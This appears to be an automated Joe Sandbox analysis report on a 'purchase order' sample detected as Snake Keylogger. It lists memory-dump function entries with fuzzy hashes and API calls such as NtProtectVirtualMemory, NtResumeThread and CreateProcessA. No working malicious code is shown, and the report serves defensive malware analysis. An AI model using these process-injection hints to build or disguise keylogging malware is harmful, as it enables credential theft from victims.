Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.3689902145.0000000002EB3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.3683061573.000000000041A000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000008.00000002.3689902145.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	98.5%
Signature Coverage:	9.3%
Total number of Nodes:	323
Total number of Limit Nodes:	22

Executed Functions

Function 05CB12C0 Relevance: 2.3, Strings: 1, Instructions: 1097COMMON

Download Yara Rule

Strings

4, xrefs: 05CB1C95

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 01a2040597bc9f8243c75df29a197b4d75e9a2111fb5fcbde21addc1894ab656
Instruction ID: dc9378ec5f9ac6f1c29b5bb7f13ebebece26f2f2116a57a7ed11272b49058fb9
Opcode Fuzzy Hash: 01a2040597bc9f8243c75df29a197b4d75e9a2111fb5fcbde21addc1894ab656
Instruction Fuzzy Hash: 3FB2FB74A00218DFEB14CFA4C994BADB7B6BF88300F188595E506AB3A5DBB1ED45CF50

Function 05CD9AF8 Relevance: 1.8, Strings: 1, Instructions: 542
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 05CD9C04

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: 221c2eda7070e336b503b1fa5243d133b4355f4f8921051168a46d30bcaaadcd
Instruction ID: 5d68df2eb2a631fafd2e9e8dc0476c9e0175e3a13af60c0c6ada9aeefffd8d0a
Opcode Fuzzy Hash: 221c2eda7070e336b503b1fa5243d133b4355f4f8921051168a46d30bcaaadcd
Instruction Fuzzy Hash: 5442C171D016698BDB64DF69C850AD9F7B2BF89300F1486EAD90DA7350EB30AE85CF50

Function 05CB15E7 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 05CB1C95

Memory Dump Source

Source File: 00000000.00000002.2578613020.0000000005CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cb0000_purchase order.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 604f57bfb14c8a9f4c88d3bb3e480edafd77523811b25e991f56f1815ec2eba8
Instruction ID: ea4031f5d859430fd9d6e088c94a1310973a91dfbead7f67ebd1c3040683b0df
Opcode Fuzzy Hash: 604f57bfb14c8a9f4c88d3bb3e480edafd77523811b25e991f56f1815ec2eba8
Instruction Fuzzy Hash: 7A220C74A00218CFEB24DFA5C994BADB7B6FF48300F148599E509AB3A5DB71AD81CF50

Function 05CDCBD8 Relevance: 1.6, APIs: 1, Instructions: 107
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CDCC95

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 577c386cb341ce827e98f7367e1619fa12814b9d04cb7cb056e87a080bfe3df2
Instruction ID: c021cdb192d529843d9cdf3f627f7ca8b01213b5d654c5674315f7a9958cf7c6
Opcode Fuzzy Hash: 577c386cb341ce827e98f7367e1619fa12814b9d04cb7cb056e87a080bfe3df2
Instruction Fuzzy Hash: 6E4186B9D002589FCF10CFAAD984A9EFBB5BB49310F10942AE919B7210D735A945CF68

Function 05CDCBE0 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 05CDCC95

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 4f6b779969a446f05a10fa58b5c671aaf302b912b1bdebc7e5fcacaca595e018
Instruction ID: a97aabf069e66cc390a89091bb9ec015af78328d6af4db250c42b60044ec213c
Opcode Fuzzy Hash: 4f6b779969a446f05a10fa58b5c671aaf302b912b1bdebc7e5fcacaca595e018
Instruction Fuzzy Hash: EC4196B8D0025C9FCF10CFAAD984ADEFBB5BB49310F10942AE919B7210D735A945CF68

Function 05CDE0C8 Relevance: 1.6, APIs: 1, Instructions: 85nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05CDE15E

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 84200f10e041225f9e855b1fd04f17f31e5e16fc2d8f29d95b537e92f66010f9
Instruction ID: 08df9802915816b91aad5adb6fa09b7519a8f1618b170a7e8b0e8043dc6e7962
Opcode Fuzzy Hash: 84200f10e041225f9e855b1fd04f17f31e5e16fc2d8f29d95b537e92f66010f9
Instruction Fuzzy Hash: 6E31CCB4D012189FDB10DFA9D984AAEFBF5BB49310F10882AE915B7300C775A906CFA4

Function 05CDE0D0 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 05CDE15E

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5092e1226d666475b043e19f45e84f31441cca8532788f9baa2cbeabac28e6f4
Instruction ID: b86d45aae54800c57fce2ce0e1ffd7ff62b6273435b48694da2b97ee7d5e98b5
Opcode Fuzzy Hash: 5092e1226d666475b043e19f45e84f31441cca8532788f9baa2cbeabac28e6f4
Instruction Fuzzy Hash: 6A31C9B8D012189FDB10DFAAD984A9EFBF5BB49310F10842AE915BB300C775A905CFA4

Function 05CE0C0A Relevance: 1.6, Strings: 1, Instructions: 314COMMON

Download Yara Rule

Strings

uF, xrefs: 05CE0D16

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: a463e98d7f4284ef7741e9192a1df6367e683ef0b96637ccbaa58d9a1a20f561
Instruction ID: 62bf8a0f8394df4d775f62fd1adcf091a60c1a610b92e3d232e7d864298fb79f
Opcode Fuzzy Hash: a463e98d7f4284ef7741e9192a1df6367e683ef0b96637ccbaa58d9a1a20f561
Instruction Fuzzy Hash: BDD11174A01258CFDB54DFA9D888BADBBF2BB49300F1084A9D409BB294DBB45A85CF51

Function 05CE0C18 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

uF, xrefs: 05CE0D16

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: ea4c69f58d944e2cbb9ebebb15157cd696ac1ae16b066ee41475ec978af3d58d
Instruction ID: 9d59efa9ed647f0dfbf7e530b25d1214b396afd562c32b108c6a5f1a77517e32
Opcode Fuzzy Hash: ea4c69f58d944e2cbb9ebebb15157cd696ac1ae16b066ee41475ec978af3d58d
Instruction Fuzzy Hash: 56D11174E01258CFDB54DFA5D888BADBBF2BB49300F1084A9D409BB394DBB85A85CF51

Function 05CE106F Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

uF, xrefs: 05CE0D16

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: uF
API String ID: 0-3639678042
Opcode ID: 430f97b574babe04d748faea03119ee64f98db48eaeb7aca29333059a7ab92f0
Instruction ID: 89148159c06ee8a2d55244ae19c782c9536e14967f5bb39f11ff142dac9ee56b
Opcode Fuzzy Hash: 430f97b574babe04d748faea03119ee64f98db48eaeb7aca29333059a7ab92f0
Instruction Fuzzy Hash: DEC11174E01248CFDB54DFA4D888BADBBF2BB49300F1084A9D409BB294DBB85E85CF51

Function 05CE7548 Relevance: 1.5, Strings: 1, Instructions: 234COMMON

Download Yara Rule

Strings

'nY, xrefs: 05CE76D5

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: 'nY
API String ID: 0-4287954538
Opcode ID: 9771f6d07e2c72aa9e7456d871763e7ecc905eefe55878fa3dc14d7b915817eb
Instruction ID: 8583e265b0157e09f4417dcad9ca79cc11045c9c69a0162cf707024f6c4a20f7
Opcode Fuzzy Hash: 9771f6d07e2c72aa9e7456d871763e7ecc905eefe55878fa3dc14d7b915817eb
Instruction Fuzzy Hash: 5CA1C374D05248CFDB18CFAAE584B9DBBF2FF49300F14946AE409AB264DB705986CF54

Function 05CE7558 Relevance: 1.5, Strings: 1, Instructions: 233COMMON

Download Yara Rule

Strings

'nY, xrefs: 05CE76D5

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: 'nY
API String ID: 0-4287954538
Opcode ID: b491123b8322d920f668d233d4f608aff1459b4589715f089f512224f7523ab4
Instruction ID: b8fba2f0c35cf1c4305a2305cac16a18c81d929af5d86c56fdd642b340c8687e
Opcode Fuzzy Hash: b491123b8322d920f668d233d4f608aff1459b4589715f089f512224f7523ab4
Instruction Fuzzy Hash: 3DA1B270D05248CFDB18CFAAE584BADBBF2FB49301F10946AE409AB255DB705986CF54

Function 05CD9AE9 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

h, xrefs: 05CD9BF8

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 6000340fb86455bbc5a878bdcc6b802743a36d7d0b8a8dfb591a8913109a0511
Instruction ID: 1050de94bf6a41f0da96ffc56b332dbc1bbff54f64d043373c3efdc4553da495
Opcode Fuzzy Hash: 6000340fb86455bbc5a878bdcc6b802743a36d7d0b8a8dfb591a8913109a0511
Instruction Fuzzy Hash: D961C271D016298BEB64DF6ACC50BDAF7B2BF88300F14C6AAD50DA7254EB305A85CF50

Function 05CD1278 Relevance: .6, Instructions: 603COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4cdfddb7e80ef4b0ab94f45c6c8854e0b1110a9e0d867d64bb3bbf2e29f2ee
Instruction ID: 70df85dc4ab2fd33ec794445f8105a4394fc65090fbf5b21e50c793b77ee0593
Opcode Fuzzy Hash: bb4cdfddb7e80ef4b0ab94f45c6c8854e0b1110a9e0d867d64bb3bbf2e29f2ee
Instruction Fuzzy Hash: 1D324B74B002168FDB58DFA9C49567EFBF2FB88300F188929D65AD7390DB34A915CB90

Function 05CFEC90 Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5e99d0dc1a37b69a0c631ca8950c5a63588d688bbb1bcd819ecf8059d9ad4db
Instruction ID: c780f60aa4fe6ca48acdedb060f22751e011eb41b7c9b0f19e0573c8e5583e10
Opcode Fuzzy Hash: c5e99d0dc1a37b69a0c631ca8950c5a63588d688bbb1bcd819ecf8059d9ad4db
Instruction Fuzzy Hash: B4F1C170A05218CFEBA4CF6AD884BADBBB6BB89300F1095A9D50DA7355DB705E85CF10

Function 05CFEC80 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1dbac23c5377eac8a04a2ed6dcd49e5200708b2888c25e5a34a8fe3c742493
Instruction ID: f2e6d5b312f808bb570c263c376d1637c64bbf20dd52ca393bb0941967f0787a
Opcode Fuzzy Hash: 0e1dbac23c5377eac8a04a2ed6dcd49e5200708b2888c25e5a34a8fe3c742493
Instruction Fuzzy Hash: 08F1C074E05218CFEBA4CF69D884BA9BBB2FB89300F1085AAD50DA7355DB705E85CF14

Function 0653D870 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2589333666.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6520000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33fbd4efe45cc5576aeaa75f06884f8063d8bbea8870b036fd12bdfec81c8d8a
Instruction ID: bd6455acde56dd2e00334d5df13b09a795af414d65bb56b9b986713dc05ea7f6
Opcode Fuzzy Hash: 33fbd4efe45cc5576aeaa75f06884f8063d8bbea8870b036fd12bdfec81c8d8a
Instruction Fuzzy Hash: 89D1CF74E01219CFDB54DFA9D990A9DBBB2FF89300F1081A9E409AB365DB31AD85CF50

Function 05CD7950 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1577609945c87849845cc0e7bf74eab31de8ec011181d7f7859a70e6805c07e4
Instruction ID: 15655ffd1f12ab171a46e7a66940ca12b2386212db7912b9eeb81707bbde87fc
Opcode Fuzzy Hash: 1577609945c87849845cc0e7bf74eab31de8ec011181d7f7859a70e6805c07e4
Instruction Fuzzy Hash: 90C1DF70D05218CFDB14CFAAD884BADFBF2FB49304F2094AAD509A7255D7B41A85CF61

Function 05CE93A1 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 252403469a60ee243a6b9719aa1fdd82a3a683778029230924e2e87807aa52fa
Instruction ID: 777adeb9e386b2d7a03cdb98244146cd66c4de67990051324fbb768b853b4101
Opcode Fuzzy Hash: 252403469a60ee243a6b9719aa1fdd82a3a683778029230924e2e87807aa52fa
Instruction Fuzzy Hash: B8C1F470E06218CFDB50DFAAE944BADBBB2FB4A300F1095A9D409A7355DB705E86CF05

Function 05CE93B0 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdee361154f14022d73f7137693ab55a2f235371ebded5f71b12c83a6eb6f22a
Instruction ID: 5b744746ff157d1b31ba44dfa18ba40ca2908ec7dc1e6d0e45d2cf0cce09b858
Opcode Fuzzy Hash: bdee361154f14022d73f7137693ab55a2f235371ebded5f71b12c83a6eb6f22a
Instruction Fuzzy Hash: 6CC10570E06218CFDB50DFAAE944BADBBB2FB4A300F1095A9D409A7355DB705E86CF05

Function 05CD793F Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8398fb969465fdc8b4c8b8d98e605df43455d486a92ee5b37bb5cffc77090931
Instruction ID: f0e5b5395c5f243fba052f602eb911d0b7c47343c106babae4c06e0b583c1032
Opcode Fuzzy Hash: 8398fb969465fdc8b4c8b8d98e605df43455d486a92ee5b37bb5cffc77090931
Instruction Fuzzy Hash: B9B1EF70D05218CFDB14CFAAD884BADFBF2FB45304F2094AAD509A7254D7B85A85CF21

Function 05CF6630 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6914e662f341ca9fd87dcceb5c1194d34ae9ebedf04f64071979d15f888da594
Instruction ID: aa28dfd70d2a071a563f1059501ec000721c8568d7e63f1d30091e324fa648ec
Opcode Fuzzy Hash: 6914e662f341ca9fd87dcceb5c1194d34ae9ebedf04f64071979d15f888da594
Instruction Fuzzy Hash: 3EC1CF70E05218CFDB54CFAAE984BADBBF2FB49300F2084A9D509AB355DB745A85CF11

Function 05CF6623 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463445e03db58dca117025ba7d413195eb5d8a1f336379bf732540ac77fd7c42
Instruction ID: d156ad326a6ad356544bb2dc2be5021a734a2235c31aff6ec56d9cdabbd2716d
Opcode Fuzzy Hash: 463445e03db58dca117025ba7d413195eb5d8a1f336379bf732540ac77fd7c42
Instruction Fuzzy Hash: F8C1BE70E01218CFDB54CFAAD988B9DBBF2FB49300F2085A9D509AB355DB749A85CF11

Function 05CF5BDA Relevance: .2, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0757bde6bdbdfe70ba490fa0354e6c96d87c97ae8c010598aa93da91192037
Instruction ID: 5c9a0157a830241d9340fe414328bb21bdd420a3f84281da2bd58c229cbde1d5
Opcode Fuzzy Hash: 9e0757bde6bdbdfe70ba490fa0354e6c96d87c97ae8c010598aa93da91192037
Instruction Fuzzy Hash: E5A11670D05218CFDB94CF6AD988BADBBF2BB4A304F1088A9D609A7355DB744E84CF51

Function 05CF5E09 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2580422524.0000000005CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cf0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e43e6ad070bb2ce35ca70c9cb09fb122640b1278240f803bd7cc437be7e49a5
Instruction ID: bb0e6d500a4c83cdafa5f7ac0154ab560cc0c0d1d393d303e920dfdc40077cf1
Opcode Fuzzy Hash: 8e43e6ad070bb2ce35ca70c9cb09fb122640b1278240f803bd7cc437be7e49a5
Instruction Fuzzy Hash: 5FA11770D05218CFDB54CF6AD584BADBBF2BB49304F2088A9D209AB355DB745E84CF50

Function 00FF6441 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2562290096.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87998d3b4762f2fd5e158393a8caa55e70eca44bb61819bea4c7e62e7f71938b
Instruction ID: 3bbcf708a0b99a11a53ff56d0ab4aa6368c01c6f91683a65ab94bc92f169c745
Opcode Fuzzy Hash: 87998d3b4762f2fd5e158393a8caa55e70eca44bb61819bea4c7e62e7f71938b
Instruction Fuzzy Hash: 4F710871A016098FD708EF7BF95169EBBF3BB85344F14C529E504AB368EF70190A8B40

Function 00FF6450 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2562290096.0000000000FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81983eeafeee2e298a8f33051e6f099a66c0f06c54dd3fd51b582a39feb2eb0d
Instruction ID: 5a71102d9d276a6de14885e512276acb8c6c5ae946adf9f270da732d231e0d4f
Opcode Fuzzy Hash: 81983eeafeee2e298a8f33051e6f099a66c0f06c54dd3fd51b582a39feb2eb0d
Instruction Fuzzy Hash: 2971F871A016098FD748EF7BF95169EBBE3BB85344F14C529E505AB368EF70190A8B40

Function 061D3790 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2588289438.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61d0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed90b98e16fe6235a80d3b4649a0e300d0c92001c6a9275927479a9042973959
Instruction ID: 13cbfb0d15e210f327f9aae1100fa19405a7ba60946fb1acfbb94fc97a5f746f
Opcode Fuzzy Hash: ed90b98e16fe6235a80d3b4649a0e300d0c92001c6a9275927479a9042973959
Instruction Fuzzy Hash: 4E511875D06669CFEBA9CF25DC847AAB7B1AF8A300F1481E6D40DA3212DB354E85CF41

Function 05CD8FA7 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89d4cc612b079115bfae73531ff937c63b3a7e66463058a8960b0100f15be744
Instruction ID: 6958f9fe1c59d4ecc21bf44f1e0831122d1b503325cc9cc62167f64497f33484
Opcode Fuzzy Hash: 89d4cc612b079115bfae73531ff937c63b3a7e66463058a8960b0100f15be744
Instruction Fuzzy Hash: B92106B5D09208DBDB08CF9BD84079EFBF7AF88300F14C5AAE908A6255DB315A46CF10

Function 05CEB41C Relevance: 3.8, Strings: 3, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

", xrefs: 05CEB92A
G, xrefs: 05CEB49B
(, xrefs: 05CEB904

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: "$($G
API String ID: 0-2105381341
Opcode ID: 0c4b29414e44de9e49a0ba6698b4c6a2eedc986ea2592aa26e44c5a99c128ddb
Instruction ID: f7d1623054a2a8c34ce8bcd006885ab7242d1d5871292e0417ca4b58f58dbbe7
Opcode Fuzzy Hash: 0c4b29414e44de9e49a0ba6698b4c6a2eedc986ea2592aa26e44c5a99c128ddb
Instruction Fuzzy Hash: 1E218B7490122ACFDB60CF64D898BA8BBB2BB09304F0081E9D41DA7251D7715EC5DF40

Function 05CEAED7 Relevance: 2.5, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 05CEAF60
>, xrefs: 05CEB8DE

Memory Dump Source

Source File: 00000000.00000002.2580363117.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ce0000_purchase order.jbxd

Similarity

API ID:
String ID: >$D
API String ID: 0-1374516647
Opcode ID: 62c98e5ed448a39b0f3179d5e7394cf5ed2e3cf688220de38ef5a4554b6e4102
Instruction ID: 4e8d35e71e3f7b06d14e064fc87b2e65e8f1584e37b616c862cdfe2c00c171f9
Opcode Fuzzy Hash: 62c98e5ed448a39b0f3179d5e7394cf5ed2e3cf688220de38ef5a4554b6e4102
Instruction Fuzzy Hash: DE219EB890022ADFDB21CF55D898BE9BBB2BB09304F0484E9E509A7250DB715EC1DF40

Function 06527A0F Relevance: 2.5, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

z, xrefs: 065211B7
:, xrefs: 06527A4B

Memory Dump Source

Source File: 00000000.00000002.2589333666.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6520000_purchase order.jbxd

Similarity

API ID:
String ID: :$z
API String ID: 0-2542125264
Opcode ID: 2e8403efe501320ba21e520a0004de1a58fbb90781a52000b82372498a35c5a7
Instruction ID: bd02e57ee443c74e21507be805456d5184c6fce2de68efbb70f9c0258ba671d7
Opcode Fuzzy Hash: 2e8403efe501320ba21e520a0004de1a58fbb90781a52000b82372498a35c5a7
Instruction Fuzzy Hash: 3801253094A16ADFEBA0AF64D8487A9B7B5AB49304F1049E8901DA73C0CB755EC8CF41

Function 05CDD435 Relevance: 1.8, APIs: 1, Instructions: 263
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05CDD6A7

Memory Dump Source

Source File: 00000000.00000002.2578763548.0000000005CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cd0000_purchase order.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: e7a8e2c44978dcc72f8c12a489eede9dbdc889b2d55b5b8b6970dd6fa05cb3e9
Instruction ID: 5e4c2f8e902924f0636f27ac0fe1488294e91b07a41d2cde51ab56f582479b00
Opcode Fuzzy Hash: e7a8e2c44978dcc72f8c12a489eede9dbdc889b2d55b5b8b6970dd6fa05cb3e9
Instruction Fuzzy Hash: 91A102B0D002188FDF10CFA9C945BEDFBB1BB49304F10956AE85AE7284DB749985CF95

Function 05CDD440 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 05CDD6A7

Memory Dump Source

